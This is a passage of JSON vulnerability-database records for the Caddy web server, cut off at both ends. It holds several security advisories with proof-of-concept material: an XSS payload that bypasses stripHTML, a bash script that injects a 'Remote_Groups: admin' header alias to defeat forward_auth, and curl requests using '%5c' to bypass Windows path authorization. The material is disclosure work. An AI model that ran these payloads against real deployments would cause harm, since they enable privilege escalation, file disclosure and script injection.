in:\n\n[caddy/caddy/caddyhttp/templates/tplcontext.go](https://github.com/caddyserver/caddy/blob/77e9ce7404c4a76853e101a9f5687a929ee56654/modules/caddyhttp/templates/tplcontext.go)\n\n```go\nfunc (TemplateContext) funcStripHTML(s string) string {\n    var buf bytes.Buffer\n    var inTag, inQuotes bool\n    var tagStart int\n    for i, ch := range s {\n        if inTag {\n            if ch == '\u003e' \u0026\u0026 !inQuotes {\n                inTag = false\n            } else if ch == '\u003c' \u0026\u0026 !inQuotes {\n                // false start\n                buf.WriteString(s[tagStart:i])\n                tagStart = i\n            } else if ch == '\"' {\n                inQuotes = !inQuotes\n            }\n            continue\n        }\n        if ch == '\u003c' {\n            inTag = true\n            tagStart = i\n            continue\n        }\n        buf.WriteRune(ch)\n    }\n    if inTag {\n        // false start\n        buf.WriteString(s[tagStart:])\n    }\n    return buf.String()\n}\n```\n\n### POC\n\nCaddyfile setup\n\n```\n:8080 {\n    root * ./site\n    file_server\n    templates\n}\n```\n\nTemplate file (index.html)\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n\u003chead\u003e\n    \u003cmeta charset=\"UTF-8\"\u003e\n    \u003ctitle\u003eStripHTML Bypass Test\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n    \u003cp\u003e{{ stripHTML \"\u003c\u003c\u003eimg src=x onerror=alert('XSS')\u003e\" }}\u003c/p\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nThe payload exploits the false start branch to smuggle a literal \u003c back into the output, then uses the following \u003e to terminate the parser’s tag state, leaving a valid \u003cimg ...\u003e tag behind.\n\nTested in v2.11.3\n\n### Impact\n\nMalformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.\n\n### AI Disclosure\n\nAI assisted in writing the report description; however, the discovery of the issue has been done manually.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-16T21:28:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.2,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-vcc4-2c75-vc9v","https://github.com/advisories/GHSA-vcc4-2c75-vc9v"],"source_kind":"github","identifiers":["GHSA-vcc4-2c75-vc9v","CVE-2026-52846"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-16T22:00:08.909Z","updated_at":"2026-08-19T09:01:25.346Z","epss_percentage":0.00189,"epss_percentile":0.08742,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Y2M0LTJjNzUtdmM5ds4ABY07","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12Y2M0LTJjNzUtdmM5ds4ABY07","packages":[{"ecosystem":"go","package_name":"github.com/caddyserver/caddy","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.0.5"}],"purl":"pkg:go/github.com%2Fcaddyserver%2Fcaddy"},{"ecosystem":"go","package_name":"github.com/caddyserver/caddy/v2","versions":[{"first_patched_version":"2.11.4","vulnerable_version_range":"\u003c= 2.11.3"}],"purl":"pkg:go/github.com%2Fcaddyserver%2Fcaddy%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Y2M0LTJjNzUtdmM5ds4ABY07/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mNTloLXE4MjItZzQ1Z84ABY06","url":"https://github.com/advisories/GHSA-f59h-q822-g45g","title":"Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`","description":"### Summary\n\n`forward_auth copy_headers` deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through `php_fastcgi`, Caddy normalizes HTTP headers into CGI variables by replacing `-` with `_`.\n\nThis lets a client send an underscore alias that survives the `forward_auth` delete step but becomes the same PHP/FastCGI variable:\n\n```text\nRemote-Groups  -\u003e HTTP_REMOTE_GROUPS\nRemote_Groups  -\u003e HTTP_REMOTE_GROUPS\n\nRemote-User    -\u003e HTTP_REMOTE_USER\nRemote_User    -\u003e HTTP_REMOTE_USER\n```\n\nResult: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.\n\n### Details\n\n`forward_auth copy_headers` intentionally removes client-controlled headers before setting values from the auth response:\n\n- `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212`\n- `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222`\n\nThat delete is exact-field deletion through `http.Header.Del()`:\n\n- `modules/caddyhttp/headers/headers.go:255`\n- `modules/caddyhttp/headers/headers.go:281`\n\nSo deleting `Remote-Groups` does not delete `Remote_Groups`.\n\nLater, FastCGI exports all request headers into CGI variables:\n\n- `modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410`\n- `modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414`\n- `modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510`\n\nThe normalizer replaces hyphens with underscores:\n\n```go\nstrings.NewReplacer(\" \", \"_\", \"-\", \"_\")\n```\n\nSo the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.\n\nThis is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.\n\n### PoC\n\nRun from the Caddy repository root with `bash`:\n\n```bash\nset -euo pipefail\n\ntmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)\nmkdir -p \"$tmpdir/www\"\nprintf '\u003c?php echo \"ok\"; ?\u003e\\n' \u003e \"$tmpdir/www/index.php\"\n\ncat \u003e \"$tmpdir/servers.go\" \u003c\u003c'GO'\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/fcgi\"\n)\n\nfunc main() {\n\tgo func() {\n\t\tmux := http.NewServeMux()\n\t\tmux.HandleFunc(\"/auth\", func(w http.ResponseWriter, r *http.Request) {\n\t\t\tw.Header().Set(\"Remote-User\", \"alice\")\n\t\t\tw.WriteHeader(http.StatusNoContent)\n\t\t})\n\t\tlog.Fatal(http.ListenAndServe(\"127.0.0.1:19011\", mux))\n\t}()\n\n\tln, err := net.Listen(\"tcp\", \"127.0.0.1:19010\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tlog.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tfmt.Fprintf(w, \"HTTP_REMOTE_USER=%s\\nHTTP_REMOTE_GROUPS=%s\\n\",\n\t\t\tr.Header.Get(\"Remote-User\"),\n\t\t\tr.Header.Get(\"Remote-Groups\"))\n\t})))\n}\nGO\n\ncat \u003e \"$tmpdir/Caddyfile\" \u003c\u003cEOF\n{\n\tadmin off\n\tauto_https off\n\tdebug\n}\n\n:9082 {\n\tlog\n\troot * $tmpdir/www\n\tforward_auth 127.0.0.1:19011 {\n\t\turi /auth\n\t\tcopy_headers Remote-User Remote-Groups\n\t}\n\tphp_fastcgi 127.0.0.1:19010\n}\nEOF\n\ncleanup() {\n\tkill \"${caddy_pid:-}\" \"${servers_pid:-}\" 2\u003e/dev/null || true\n}\ntrap cleanup EXIT\n\ngo run \"$tmpdir/servers.go\" \u003e\"$tmpdir/servers.log\" 2\u003e\u00261 \u0026\nservers_pid=$!\n\nfor i in $(seq 1 80); do\n\tif (echo \u003e /dev/tcp/127.0.0.1/19011) \u003e/dev/null 2\u003e\u00261 \u0026\u0026\n\t   (echo \u003e /dev/tcp/127.0.0.1/19010) \u003e/dev/null 2\u003e\u00261; then\n\t\tbreak\n\tfi\n\tsleep 0.25\ndone\n\ngo run ./cmd/caddy run --config \"$tmpdir/Caddyfile\" --adapter caddyfile \u003e\"$tmpdir/caddy.log\" 2\u003e\u00261 \u0026\ncaddy_pid=$!\n\nfor i in $(seq 1 80); do\n\tif (echo \u003e /dev/tcp/127.0.0.1/9082) \u003e/dev/null 2\u003e\u00261; then\n\t\tbreak\n\tfi\n\tsleep 0.25\ndone\n\ncurl --noproxy '*' -v http://127.0.0.1:9082/index.php\ncurl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php\ncat \"$tmpdir/caddy.log\"\n```\n\nObserved on commit `6c675e29f87cbe7326983ddb6d739175119d394c`:\n\nBaseline:\n\n```text\n\u003e GET /index.php HTTP/1.1\n\u003c HTTP/1.1 200 OK\n\nHTTP_REMOTE_USER=alice\nHTTP_REMOTE_GROUPS=\n```\n\nWith attacker header:\n\n```text\n\u003e GET /index.php HTTP/1.1\n\u003e Remote_Groups: admin\n\u003c HTTP/1.1 200 OK\n\nHTTP_REMOTE_USER=alice\nHTTP_REMOTE_GROUPS=admin\n```\n\nCaddy debug log confirms the FastCGI environment contained:\n\n```text\n\"HTTP_REMOTE_USER\": \"alice\"\n\"HTTP_REMOTE_GROUPS\": \"admin\"\n```\n\nThe auth gateway returned `Remote-User: alice` only. It never returned `Remote-Groups`.\n\n### Impact\n\nThis affects Caddy deployments that use:\n\n- `forward_auth` with `copy_headers` for identity or authorization headers;\n- `php_fastcgi` / FastCGI after the auth check;\n- a PHP/FastCGI application that trusts the resulting `HTTP_*` variables.\n\nImpact examples:\n\n- deterministic group/role injection when the auth gateway omits an optional header, e.g. `Remote_Groups: admin` becomes `HTTP_REMOTE_GROUPS=admin`;\n- probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. `Remote-User` and `Remote_User` both map to `HTTP_REMOTE_USER`.\n\nRealistic examples include trusted-header SSO deployments such as Firefly III `remote_user_guard` using `HTTP_REMOTE_USER`, or MediaWiki `Auth_remoteuser` using `HTTP_X_AUTHENTIK_USERNAME`.\n\n## AI disclosure\n\nThe LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-16T21:28:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-f59h-q822-g45g","https://nvd.nist.gov/vuln/detail/CVE-2026-52845","https://access.redhat.com/security/cve/CVE-2026-52845","https://bugzilla.redhat.com/show_bug.cgi?id=2491907","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52845.json","https://github.com/advisories/GHSA-f59h-q822-g45g"],"source_kind":"github","identifiers":["GHSA-f59h-q822-g45g","CVE-2026-52845"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-16T22:00:08.909Z","updated_at":"2026-08-15T18:02:11.490Z","epss_percentage":0.00291,"epss_percentile":0.21514,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mNTloLXE4MjItZzQ1Z84ABY06","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mNTloLXE4MjItZzQ1Z84ABY06","packages":[{"ecosystem":"go","package_name":"github.com/caddyserver/caddy","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.0.5"}],"purl":"pkg:go/github.com%2Fcaddyserver%2Fcaddy"},{"ecosystem":"go","package_name":"github.com/caddyserver/caddy/v2","versions":[{"first_patched_version":"2.11.4","vulnerable_version_range":"\u003c 2.11.4"}],"purl":"pkg:go/github.com%2Fcaddyserver%2Fcaddy%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mNTloLXE4MjItZzQ1Z84ABY06/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xcnA3LWN2d3ItajJjNs4ABY05","url":"https://github.com/advisories/GHSA-qrp7-cvwr-j2c6","title":"Caddy: Windows `file_server` path authorization bypass via encoded backslash","description":"### Summary\n\nOn Windows, Caddy `path` matchers treat `/private\\secret.txt` as outside `/private/*`, but `file_server` later resolves the same request path as `private\\secret.txt` on disk.\n\nAn unauthenticated remote client can request `/private%5csecret.txt` and bypass Caddy path-scoped auth/deny routes protecting `/private/*`.\n\n### Details\n\nThe mismatch is between two Caddy code paths:\n\n- `MatchPath.MatchWithError()` compares `r.URL.Path` using URL path semantics and does not normalize `\\` to `/`: `modules/caddyhttp/matchers.go:429`, `:436`, `:490`, `:532`.\n- If the route matcher misses, Caddy skips that route: `modules/caddyhttp/routes.go:271`.\n- `file_server` then maps the same request path to a filesystem path with `SanitizedPathJoin(root, r.URL.Path)`: `modules/caddyhttp/fileserver/staticfiles.go:294`, `modules/caddyhttp/caddyhttp.go:257`, `:263`.\n- On Windows, Go filesystem path handling treats `\\` as a separator, so the default filesystem opens the file under the protected directory: `internal/filesystems/os.go:18`.\n\nThis is related to, but distinct from, `GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585`. That advisory fixed backslash handling in the `file` matcher / `try_files` glob path. This report does not use `try_files` or the `file` matcher; it affects ordinary `path` route matchers in front of direct `file_server` serving and reproduces on current HEAD.\n\n### PoC\n\nTested on current HEAD `6c675e29f87cbe7326983ddb6d739175119d394c` with a Windows `caddy.exe` built from this repository.\n\nOn Windows, create the test files and Caddyfile:\n\n```powershell\n$base = \"C:\\Users\\Public\\caddy-backslash-poc\"\nRemove-Item -Recurse -Force $base -ErrorAction SilentlyContinue\nNew-Item -ItemType Directory -Force \"$base\\www\\private\" | Out-Null\nSet-Content -Path \"$base\\www\\private\\secret.txt\" -Value \"SECRET_FROM_WINDOWS_LAB\" -NoNewline -Encoding ASCII\n\n@'\n{\n\tdebug\n\tadmin off\n\tauto_https off\n}\n\n:19080 {\n\tlog\n\troot * C:\\Users\\Public\\caddy-backslash-poc\\www\n\n\t@private path /private/*\n\trespond @private 403\n\n\tfile_server\n}\n'@ | Set-Content -Path \"$base\\Caddyfile\" -Encoding ASCII\n```\n\nStart Caddy:\n\n```powershell\ncd C:\\Users\\Public\\caddy-backslash-poc\n.\\caddy.exe run --config Caddyfile --adapter caddyfile\n```\n\nBaseline request, expected to be blocked:\n\n```bash\ncurl -v --path-as-is http://\u003cwindows-host\u003e:19080/private/secret.txt\n```\n\nObserved:\n\n```text\n\u003e GET /private/secret.txt HTTP/1.1\n\u003c HTTP/1.1 403 Forbidden\n```\n\nBypass request:\n\n```bash\ncurl -v --path-as-is 'http://\u003cwindows-host\u003e:19080/private%5csecret.txt'\n```\n\nObserved:\n\n```text\n\u003e GET /private%5csecret.txt HTTP/1.1\n\u003c HTTP/1.1 200 OK\n\u003c Content-Length: 23\n\nSECRET_FROM_WINDOWS_LAB\n```\n\nUppercase `%5C` produces the same result.\n\nRelevant debug log lines:\n\n```json\n{\"msg\":\"using config from file\",\"file\":\"C:\\\\Users\\\\Public\\\\caddy-backslash-poc\\\\Caddyfile\"}\n{\"logger\":\"http.log\",\"msg\":\"server running\",\"name\":\"srv0\",\"protocols\":[\"h1\",\"h2\",\"h3\"]}\n{\"logger\":\"http.log.access\",\"request\":{\"method\":\"GET\",\"uri\":\"/private/secret.txt\"},\"status\":403}\n{\"logger\":\"http.log.access\",\"request\":{\"method\":\"GET\",\"uri\":\"/private%5csecret.txt\"},\"status\":200}\n```\n\n### Impact\n\nThis is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before `file_server`.\n\nThis pattern is documented by Caddy itself, for example `basic_auth /secret/* { ... }` followed by `file_server`.\n\nAn attacker can read files that were intended to be protected by Caddy-side `basic_auth`, `respond 403`, or other path-scoped handlers. The issue does not escape the configured site root; `..%5c` traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.\n\n### Suggested Fix\n\nNormalize Windows path separators consistently before `MatchPath` evaluates request paths, or reject request paths containing `\\` before `file_server` resolves them as filesystem separators.\n\nThe important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.\n\n### AI Disclosure\n\nLLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows `caddy.exe` built from current HEAD.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-16T21:28:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-qrp7-cvwr-j2c6","https://nvd.nist.gov/vuln/detail/CVE-2026-52844","https://github.com/advisories/GHSA-qrp7-cvwr-j2c6"],"source_kind":"github","identifiers":["GHSA-qrp7-cvwr-j2c6","CVE-2026-52844"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-16T22:00:08.909Z","updated_at":"2026-08-19T09:01:25.347Z","epss_percentage":0.00478,"epss_percentile":0.38531,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xcnA3LWN2d3ItajJjNs4ABY05","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xcnA3LWN2d3ItajJjNs4ABY05","packages":[{"ecosystem":"go","package_name":"github.com/caddyserver/caddy","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.0.5"}],"purl":"pkg:go/github.com%2Fcaddyserver%2Fcaddy"},{"ecosystem":"go","package_name":"github.com/caddyserver/caddy/v2","versions":[{"first_patched_version":"2.11.4","vulnerable_version_range":"\u003c 2.11.4"}],"purl":"pkg:go/github.com%2Fcaddyserver%2Fcaddy%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xcnA3LWN2d3ItajJjNs4ABY05/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ncjd3LXgyanAtM3hnd84AAvLr","url":"https://github.com/advisories/GHSA-gr7w-x2jp-3xgw","title":"Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication","description":"Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2022-10-06T22:58:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2018-21246","https://github.com/caddyserver/caddy/commit/4d9ee000c8d2cbcdd8284007c1e0f2da7bc3c7c3","https://bugs.gentoo.org/715214","https://github.com/caddyserver/caddy/releases/tag/v0.10.13","https://github.com/caddyserver/caddy/pull/2099","https://pkg.go.dev/vuln/GO-2020-0043","https://github.com/advisories/GHSA-gr7w-x2jp-3xgw"],"source_kind":"github","identifiers":["GHSA-gr7w-x2jp-3xgw","CVE-2018-21246"],"repository_url":"https://github.com/caddyserver/caddy","blast_radius":0.0,"created_at":"2022-12-21T16:11:55.941Z","updated_at":"2026-07-29T14:14:58.542Z","epss_percentage":0.02723,"epss_percentile":0.84507,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ncjd3LXgyanAtM3hnd84AAvLr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ncjd3LXgyanAtM3hnd84AAvLr","packages":[{"ecosystem":"go","package_name":"github.com/caddyserver/caddy","versions":[{"first_patched_version":"0.10.13","vulnerable_version_range":"\u003c 0.10.13"}],"purl":"pkg:go/github.com%2Fcaddyserver%2Fcaddy"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ncjd3LXgyanAtM3hnd84AAvLr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tN2dyLTV3NWctMzZqZs4AAtmL","url":"https://github.com/advisories/GHSA-m7gr-5w5g-36jf","title":"Withdrawn Advisory: Out-of-bounds Read can lead to client side denial of service","description":"## Withdrawn Advisory\nThis advisory has been withdrawn because it is a bug, not a vulnerability. According to the maintainer, the bug only affects the client side of the request and cannot cause a denial of service on the server.\n\n## Original Description\nAn out-of-bounds read in the rewrite function at /modules/caddyhttp/rewrite/rewrite.go in Caddy v2.5.1 allows attackers to cause a Denial of Service (DoS) on the client side via a crafted URI.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-07-23T00:00:22.000Z","withdrawn_at":"2024-05-06T14:22:01.000Z","classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-34037","https://github.com/caddyserver/caddy/issues/4775","https://github.com/caddyserver/caddy/commit/693e9b5283e675b56084ecc83d73176cab0ee27c","https://github.com/caddyserver/caddy/issues/4775#issuecomment-1203388116","https://github.com/advisories/GHSA-m7gr-5w5g-36jf"],"source_kind":"github","identifiers":["GHSA-m7gr-5w5g-36jf","CVE-2022-34037"],"repository_url":"https://github.com/caddyserver/caddy","blast_radius":0.0,"created_at":"2022-12-21T16:12:09.489Z","updated_at":"2026-08-15T20:12:21.136Z","epss_percentage":0.01166,"epss_percentile":0.64549,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tN2dyLTV3NWctMzZqZs4AAtmL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tN2dyLTV3NWctMzZqZs4AAtmL","packages":[{"ecosystem":"go","package_name":"github.com/caddyserver/caddy","versions":[{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003c 2.5.2"}],"purl":"pkg:go/github.com%2Fcaddyserver%2Fcaddy"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tN2dyLTV3NWctMzZqZs4AAtmL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yOTI3LWh2M3AtZjN2cM4AArUP","url":"https://github.com/advisories/GHSA-2927-hv3p-f3vp","title":"Open redirect in caddy","description":"Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-06-03T00:00:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-29718","https://github.com/caddyserver/caddy/pull/4499","https://github.com/caddyserver/caddy/pull/4499/commits/b23bdcf99cfbd09d50555a999a16468404789230","https://github.com/caddyserver/caddy/releases/tag/v2.5.0","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CP2VIUT5IKA3OKM6YWA5LTLJ2GTEIH7C/","https://github.com/advisories/GHSA-2927-hv3p-f3vp"],"source_kind":"github","identifiers":["GHSA-2927-hv3p-f3vp","CVE-2022-29718"],"repository_url":"https://github.com/caddyserver/caddy","blast_radius":0.0,"created_at":"2022-12-21T16:12:21.209Z","updated_at":"2026-07-31T23:12:42.171Z","epss_percentage":0.01004,"epss_percentile":0.59504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yOTI3LWh2M3AtZjN2cM4AArUP","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yOTI3LWh2M3AtZjN2cM4AArUP","packages":[{"ecosystem":"go","package_name":"github.com/caddyserver/caddy/v2","versions":[{"first_patched_version":"2.5.0","vulnerable_version_range":"\u003c 2.5.0"}],"purl":"pkg:go/github.com%2Fcaddyserver%2Fcaddy%2Fv2"},{"ecosystem":"go","package_name":"github.com/caddyserver/caddy","versions":[{"first_patched_version":"2.5.0","vulnerable_version_range":"\u003c 2.5.0"}],"purl":"pkg:go/github.com%2Fcaddyserver%2Fcaddy"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yOTI3LWh2M3AtZjN2cM4AArUP/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qZjJ3LW1xNnItNTZ2OM4AAUTk","url":"https://github.com/advisories/GHSA-jf2w-mq6r-56v8","title":"Caddy allows enumeration of Certificates and Hostnames","description":"Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2022-05-14T01:37:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.7,"cvss_vector":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2018-19148","https://github.com/mholt/caddy/issues/1303","https://github.com/mholt/caddy/issues/2334","https://github.com/mholt/caddy/pull/2015","https://securitytrails.com/blog/caddy-web-server-ssl-bug","https://github.com/caddyserver/caddy/commit/986d4ffe3de32dcb81d334d603a2f0f1d460eb2f","https://github.com/caddyserver/caddy/commit/f6e50890b3d81cb04146bd7b2c2b59e99830849a","https://github.com/advisories/GHSA-jf2w-mq6r-56v8"],"source_kind":"github","identifiers":["GHSA-jf2w-mq6r-56v8","CVE-2018-19148"],"repository_url":"https://github.com/mholt/caddy","blast_radius":0.0,"created_at":"2024-04-24T21:05:04.907Z","updated_at":"2026-08-17T16:13:56.758Z","epss_percentage":0.00862,"epss_percentile":0.55518,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qZjJ3LW1xNnItNTZ2OM4AAUTk","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qZjJ3LW1xNnItNTZ2OM4AAUTk","packages":[{"ecosystem":"go","package_name":"github.com/caddyserver/caddy","versions":[{"first_patched_version":"0.11.1","vulnerable_version_range":"\u003c 0.11.1"}],"purl":"pkg:go/github.com%2Fcaddyserver%2Fcaddy"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qZjJ3LW1xNnItNTZ2OM4AAUTk/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/caddyserver/caddy","docker_dependents_count":82,"docker_downloads_count":115347176,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/caddyserver/caddy","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/caddyserver/caddy/dependencies","status":null,"funding_links":["https://github.com/sponsors/mholt"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-18T02:48:49.425Z","issues_count":882,"pull_requests_count":812,"avg_time_to_close_issue":5167792.901743265,"avg_time_to_close_pull_request":3394738.4782608696,"issues_closed_count":631,"pull_requests_closed_count":644,"pull_request_authors_count":215,"issue_authors_count":698,"avg_comments_per_issue":4.314058956916099,"avg_comments_per_pull_request":2.7770935960591134,"merged_pull_requests_count":514,"bot_issues_count":0,"bot_pull_requests_count":33,"past_year_issues_count":66,"past_year_pull_requests_count":89,"past_year_avg_time_to_close_issue":316209.9666666667,"past_year_avg_time_to_close_pull_request":789103.44,"past_year_issues_closed_count":30,"past_year_pull_requests_closed_count":50,"past_year_pull_request_authors_count":57,"past_year_issue_authors_count":58,"past_year_avg_comments_per_issue":2.4393939393939394,"past_year_avg_comments_per_pull_request":2.49438202247191,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":2,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/caddyserver%2Fcaddy/issues","maintainers":[{"login":"francislavoie","count":123,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/francislavoie"},{"login":"mohammed90","count":115,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mohammed90"},{"login":"WeidiDeng","count":82,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/WeidiDeng"},{"login":"mholt","count":52,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mholt"},{"login":"dunglas","count":32,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dunglas"},{"login":"yroc92","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/yroc92"},{"login":"steadytao","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/steadytao"},{"login":"emilylange","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/emilylange"},{"login":"IndeedNotJames","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/IndeedNotJames"},{"login":"matthewpi","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/matthewpi"},{"login":"hairyhenderson","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hairyhenderson"},{"login":"miekg","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/miekg"},{"login":"renbou","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/renbou"}],"active_maintainers":[{"login":"mohammed90","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mohammed90"},{"login":"WeidiDeng","count":4,"url":"https://issues.